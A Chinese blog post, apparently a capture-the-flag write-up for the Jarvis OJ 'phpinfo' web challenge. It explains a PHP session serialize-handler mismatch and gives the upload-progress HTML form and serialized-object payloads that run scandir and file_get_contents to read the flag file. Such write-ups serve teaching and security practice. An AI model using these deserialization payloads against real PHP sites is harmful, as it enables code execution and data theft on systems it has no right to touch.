Jarvisoj-web phpinfo

题目入口:http://web.jarvisoj.com:32784/

一进来就看到源码
在这里插入图片描述

简单分析之后知道考点是反序列化,注意到了关键字session_start(),这个函数是用于创建会话。但具体如何利用还是没有头绪。搜索了一下发现是考察关于session序列化选择器的漏洞。

具体原理可参考:https://www.cnblogs.com/sijidou/p/10455646.html

传入phpinfo参数查看phpinfo,找到了重要的参数
在这里插入图片描述百度了一下该参数

也就是说,可以利用session.upload_progress.enabled构造相应表单来上传文件。因为session.upload_progress.enabled=on,所以我们就可以post一个和session.upload_progress.name同名的变量,来使得我们上传的文件名写入session。。

<html>
<head>
    <title>upload</title>
</head>
<body>
    <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctyp>
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" />
        <input type="file" name="file" />
        <input type="submit" />
    </form>
</body>
</html>

借鉴了其他大佬构造的表单,注意PHP_SESSION_UPLOAD_PROGRESS值不能为0。

 

随便上传个文件,bp抓包

修改filename,插入payload

 

payload:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:38:\"print_r(scandir(\"/opt/lampp/htdocs\"));\";}

为何payload是这样的呢?这就是第二个关键点

session.serialize_handler决定了php存储session时用的序列化规则格式,而index.php设置php的handler和默认的php_serialize不同,所以出现问题。php_serialize存储的字符可以引入 "|" ,但以php格式取出时"|"会被当成键值对的分隔符。"\"将双引号转移,物理路径在phpinfo可以找到

再次构造payload:|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

返回flag。

虽然大致原理明白了,但还是有点懵。。。。。。。。。

posted @ 2020-03-21 21:21  remon535  阅读(217)  评论(0)    收藏  举报